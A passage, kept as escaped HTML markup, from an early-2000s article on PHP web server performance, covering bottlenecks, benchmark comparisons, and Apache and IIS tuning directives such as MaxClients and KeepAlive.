tortoise.php    will be still be running at its normal 0.06 seconds CPU time. &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;In the table below, the faster php script for different loads is in bold:&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt; &lt;table width="638" border="1" cellpadding="7" cellspacing="1"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td valign="top" width="22%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Connections       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="24%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;CPU seconds required to satisfy 1 HTTP request       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="27%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;CPU seconds required to satisfy 10 HTTP requests       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="28%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;CPU seconds required to satisfy 11 HTTP requests       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td valign="top" width="22%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;hare.php        &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="24%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;0.04&lt;/b&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="27%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;0.40&lt;/b&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="28%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;0.88&lt;br&gt;         (runs out of RAM)       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td valign="top" width="22%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;tortoise.php       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="24%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;0.06       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="27%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;0.60       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="28%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;0.66&lt;/b&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;font face="Courier New,Courier,Monaco"&gt;  &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt; &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;As the above example shows, obtaining good performance is not merely writing    fast PHP scripts. High performance PHP requires a good understanding of the    underlying hardware, the operating system and supporting software such as the    web server and database.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;  &lt;p&gt;Bottlenecks&lt;/p&gt; &lt;/b&gt;  &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;The hare and tortoise example has shown us that bottlenecks cause slowdowns.    With infinite RAM, hare.php will always be faster than tortoise.php. Unfortunately,    the above model is a bit simplistic and there are many other bottlenecks to    performance apart from RAM:&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;  &lt;p&gt;(a) Networking&lt;/p&gt; &lt;/b&gt;  &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Your network is probably the biggest bottleneck. Let us say you have a 10 Mbit    link to the Internet, over which you can pump 1 megabyte of data per second.    If each web page is 30k, a mere 33 web pages per second will saturate the line.  &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;More subtle networking bottlenecks include frequent access to slow network    services such as DNS, or allocating insufficient memory for networking software.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;  &lt;p&gt;(b) CPU&lt;/p&gt; &lt;/b&gt;  &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;If you monitor your CPU load, sending plain HTML pages over a network will    not tax your CPU at all because as we mentioned earlier, the bottleneck will    be the network. However for the complex dynamic web pages that PHP generates,    your CPU speed will normally become the limiting factor. Having a server with    multiple processors or having a server farm can alleviate this.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;  &lt;p&gt;(c) Shared Memory&lt;/p&gt; &lt;/b&gt;  &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Shared memory is used for inter-process communication, and to store resources    that are shared between multiple processes such as cached data and code. If    insufficient shared memory is allocated any attempt to access resources that    use shared memory such as database connections or executable code will perform    poorly.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;  &lt;p&gt;(d) File System&lt;/p&gt; &lt;/b&gt;  &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Accessing a hard disk can be 50 to 100 times slower than reading data from    RAM. File caches using RAM can alleviate this. However low memory conditions    will reduce the amount of memory available for the file-system cache, slowing    things down. File systems can also become heavily fragmented, slowing down disk    accesses. Heavy use of symbolic links on Unix systems can slow down disk accesses    too.&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Default Linux installs are also notorious for setting hard disk default settings    which are tuned for compatibility and not for speed. Use the command &lt;i&gt;hdparm&lt;/i&gt;    to tune your Linux hard disk settings.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;  &lt;p&gt;(e) Process Management&lt;/p&gt; &lt;/b&gt;  &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;On some operating systems such as Windows creating new processes is a slow    operation. This means CGI applications that fork a new process on every invocation    will run substantially slower on these operating systems. Running PHP in multi-threaded    mode should improve response times (note: older versions of PHP are not stable    in multi-threaded mode).&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Avoid overcrowding your web server with too many unneeded processes. For example,    if your server is purely for web serving, avoid running (or even installing)    X-Windows on the machine. On Windows, avoid running Microsoft Find Fast (part    of Office) and 3-dimensional screen savers that result in 100% CPU utilization.&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Some of the programs that you can consider removing include unused networking    protocols, mail servers, antivirus scanners, hardware drivers for mice, infrared    ports and the like. On Unix, I assume you are accessing your server using SSH.    Then you can consider removing:&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt; &lt;blockquote&gt;   &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;deamons such as telnetd, inetd, atd,      ftpd, lpd, sambad&lt;br&gt;     sendmail for incoming mail&lt;br&gt;     portmap for NFS&lt;br&gt;     xfs, fvwm, xinit, X&lt;/font&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;font face="Courier New,Courier,Monaco"&gt; &lt;p&gt;You can also disable at startup various programs by modifying the startup files    which are usually stored in the /etc/init* or /etc/rc*/init* directory. &lt;/p&gt; &lt;p&gt;Also review your cron jobs to see if you can remove them or reschedule them    for off-peak periods.&lt;/p&gt; &lt;b&gt;  &lt;p&gt;(f) Connecting to Other Servers&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;If your web server requires services running on other servers, it is possible    that those servers become the bottleneck. The most common example of this is    a slow database server that is servicing too many complicated SQL requests from    multiple web servers.&lt;/p&gt; &lt;/font&gt;  &lt;table width="90%" align="center" border="1" cellpadding="0" cellspacing="0"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td bgcolor="#cccccc"&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;        &lt;p&gt;When to Start Optimizing?&lt;/p&gt;       &lt;/b&gt;        &lt;p&gt;Some people say that it is better to defer tuning until after the coding          is complete. This advice only makes sense if your programming team's coding          is of a high quality to begin with, and you already have a good feel of          the performance parameters of your application. Otherwise you are exposing          yourselves to the risk of having to rewrite substantial portions of your          code after testing.&lt;/p&gt;       &lt;p&gt;My advice is that before you design a software application, you should          do some basic benchmarks on the hardware and software to get a feel for          the maximum performance you might be able to achieve. Then as you design          and code the application, keep the desired performance parameters in mind,          because at every step of the way there will be tradeoffs between performance,          availability, security and flexibility.&lt;/p&gt;       &lt;p&gt;Also choose good test data. If your database is expected to hold 100,000          records, avoid testing with only a 100 record database – you will regret          it. This once happened to one of the programmers in my company; we did          not detect the slow code until much later, causing a lot of wasted time          as we had to rewrite a lot of code that worked but did not scale.&lt;/p&gt;       &lt;/font&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;  &lt;p&gt; &lt;/p&gt; &lt;/b&gt;&lt;b&gt;  &lt;p&gt;Tuning Your Web Server for PHP&lt;/p&gt; &lt;/b&gt;              &lt;p&gt;We will cover how to get the best PHP performance for the two most common web                servers in use today, Apache 1.3 and IIS. A lot of the advice here                is relevant for serving HTML also. &lt;/p&gt;             &lt;p&gt;The authors of PHP have stated that there is no performance nor                scalability advantage in using Apache 2.0 over Apache 1.3 with PHP,                especially in multi-threaded mode. When running Apache 2.0 in pre-forking                mode, the following discussion is still relevant (21 Oct 2003).&lt;/p&gt; &lt;b&gt;              &lt;p&gt;(a) Apache 1.3/2.0&lt;/p&gt;             &lt;/b&gt;             &lt;p&gt;Apache is available on both Unix and Windows. It is the most popular                web server in the world. Apache 1.3 uses a &lt;i&gt;pre-forking&lt;/i&gt; model                for web serving. When Apache starts up, it creates multiple child                processes that handle HTTP requests. The initial parent process                acts like a guardian angel, making sure that all the child processes                are working properly and coordinating everything. As more HTTP requests                come in, more child processes are spawned to process them. As the                HTTP requests slow down, the parent will kill the idle child processes,                freeing up resources for other processes. The beauty of this scheme                is that it makes Apache extremely robust. Even if a child process                crashes, the parent and the other child processes are insulated                from the crashing child.&lt;/p&gt;             &lt;p&gt;The pre-forking model is not as fast as some other possible designs,                but to me that it is "much ado about nothing" on a server serving                PHP scripts because other bottlenecks will kick in long before Apache                performance issues become significant. The robustness and reliability                of Apache is more important.&lt;/p&gt;             &lt;p&gt;Apache 2.0 offers operation in multi-threaded mode. My benchmarks                indicate there is little performance advantage in this mode. Also                be warned that many PHP extensions are not compatible (e.g. GD and                IMAP). Tested with Apache 2.0.47 (21 Oct 2003).&lt;/p&gt; &lt;p&gt;Apache is configured using the httpd.conf file. The following parameters are    particularly important in configuring child processes: &lt;/p&gt; &lt;/font&gt;  &lt;table width="649" border="1" cellpadding="7" cellspacing="1"&gt;   &lt;tbody&gt;&lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;/b&gt;&lt;p&gt;&lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font size="3"&gt;Directive&lt;/font&gt;       &lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="13%"&gt; &lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;/b&gt;&lt;p&gt;&lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Default       &lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;/b&gt;&lt;p&gt;&lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Description       &lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="3"&gt;MaxClients&lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="13%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;256       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;The maximum number of child processes to create. The default means that          up to 256 HTTP requests can be handled concurrently. Any further connection          requests are queued.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="3"&gt;StartServers&lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="13%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;5       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;The number of child processes to create on startup.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="3"&gt;MinSpareServers&lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="13%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;5       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;The number of idle child processes that should be created. If the number          of idle child processes falls to less than this number, 1 child is created          initially, then 2 after another second, then 4 after another second, and          so forth till 32 children are created per second.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="3"&gt;MaxSpareServers&lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="13%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;10       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;If more than this number of child processes are alive, then these extra          processes will be terminated.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;p&gt;&lt;font size="3"&gt;MaxRequestsPerChild &lt;/font&gt;&lt;/p&gt;       &lt;/font&gt;&lt;/td&gt;     &lt;td valign="top" width="13%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;0       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Sets the number of HTTP requests a child can handle before terminating.          Setting to 0 means never terminate. Set this to a value to between 100          to 10000 if you suspect memory leaks are occurring, or to free under-utilized          resources.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;font face="Courier New,Courier,Monaco"&gt; &lt;p&gt;For large sites, values close to the following might be better:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt; &lt;p&gt;&lt;font size="3"&gt;MinSpareServers 32 &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="3"&gt;MaxSpareServers 64&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt; &lt;p&gt;Apache on Windows behaves differently. Instead of using child processes, Apache uses threads. The above parameters are not used. Instead we have one parameter: &lt;i&gt;ThreadsPerChild&lt;/i&gt; which defaults to 50. This parameter sets the number of threads that can be spawned by Apache. As there is only one child process in the Windows version, the default setting of 50 means only 50 concurrent HTTP requests can be handled. For web servers experiencing higher traffic, increase this value to between 256 to 1024.&lt;/p&gt; &lt;p&gt;Other useful performance parameters you can change include:&lt;/p&gt;&lt;/font&gt; &lt;table width="621" border="1" cellpadding="7" cellspacing="1"&gt;   &lt;tbody&gt;&lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;/b&gt;&lt;p&gt;&lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font size="3"&gt;Directive&lt;/font&gt;       &lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="14%"&gt; &lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;/b&gt;&lt;p&gt;&lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Default       &lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;/b&gt;&lt;p&gt;&lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Description       &lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="3"&gt;SendBufferSize&lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="14%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Set to OS default       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Determines the size of the output buffer (in bytes) used in TCP/IP connections.          This is primarily useful for congested or slow networks when packets need          to be buffered; you then set this parameter close to the size of the largest          file normally downloaded. One TCP/IP buffer will be created per client          connection.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;p&gt;&lt;font size="3"&gt;KeepAlive [on|off]&lt;/font&gt;&lt;/p&gt;       &lt;/font&gt;&lt;/td&gt;     &lt;td valign="top" width="14%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;On       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;In the original HTTP specification, every HTTP request had to establish          a separate connection to the server. To reduce the overhead of frequent          connects, the keep-alive header was developed. Keep-alives tells the server          to reuse the same socket connection for multiple HTTP requests.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;If a separate dedicated web server serves all images, you can disable          this option. This technique can substantially improve resource utilization.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;p&gt;&lt;font size="3"&gt;KeepAliveTimeout &lt;/font&gt;&lt;/p&gt;       &lt;/font&gt;&lt;/td&gt;     &lt;td valign="top" width="14%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;15       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;The number of seconds to keep the socket connection alive. This time          includes the generation of content by the server and acknowledgements          by the client. If the client does not respond in time, it must make a          new connection.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;This value should be kept low as the socket will be idle for extended          periods otherwise.        &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;p&gt;&lt;font size="3"&gt;MaxKeepAliveRequests &lt;/font&gt;&lt;/p&gt;       &lt;/font&gt;&lt;/td&gt;     &lt;td valign="top" width="14%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;100       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Socket connections will be terminated when the number of requests set          by MaxKeepAliveRequests is reached. Keep this to a high value below MaxClients          or ThreadsPerChild.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;p&gt;&lt;font size="3"&gt;TimeOut &lt;/font&gt;&lt;/p&gt;       &lt;/font&gt;&lt;/td&gt;     &lt;td valign="top" width="14%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;300       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Disconnect when idle time exceeds this value. You can set this value          lower if your clients have low latencies.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;      &lt;td valign="top" width="21%"&gt; &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;p&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;&lt;font size="3"&gt;LimitRequestBody &lt;/font&gt;       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="14%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;0       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;     &lt;td valign="top" width="65%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;       &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Maximum size of a PUT or POST. O means there is no limit.       &lt;/font&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;font face="Courier New,Courier,Monaco"&gt; &lt;p&gt;If you do not require DNS lookups and you are not using the htaccess file to configure Apache settings for individual directories you can set:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt; &lt;p&gt;&lt;font size="2"&gt;# disable DNS lookups: PHP scripts only get the IP address&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;HostnameLookups &lt;b&gt;off &lt;/b&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;# disable htaccess checks&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;&amp;lt;Directory /&gt; &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt; AllowOverride &lt;b&gt;none &lt;/b&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;&amp;lt;/Directory&gt; &lt;/font&gt;&lt;/p&gt;  &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;p&gt;If you are not worried about the directory security when accessing symbolic links, turn on FollowSymLinks and turn off SymLinksIfOwnerMatch to prevent additional lstat() system calls from being made: &lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt; &lt;p&gt; &lt;font size="2"&gt;Options FollowSymLinks &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt; #Options SymLinksIfOwnerMatch&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt; &lt;b&gt;&lt;p&gt;(b) IIS Tuning&lt;/p&gt; &lt;/b&gt;&lt;p&gt;IIS is a multi-threaded web server available on Windows NT and 2000. From the Internet Services Manager, it is possible to tune the following parameters:&lt;/p&gt;&lt;/font&gt; &lt;table width="638" border="1" cellpadding="7" cellspacing="1"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td valign="top" width="32%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Performance Tuning based on the number of hits per day. &lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="68%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Determines how much memory to preallocate for IIS. (Performance Tab).&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="32%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Bandwidth throttling&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="68%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Controls the bandwidth per second allocated per web site. (Performance Tab).&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="32%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Process throttling&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="68%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Controls the CPU% available per Web site. (Performance 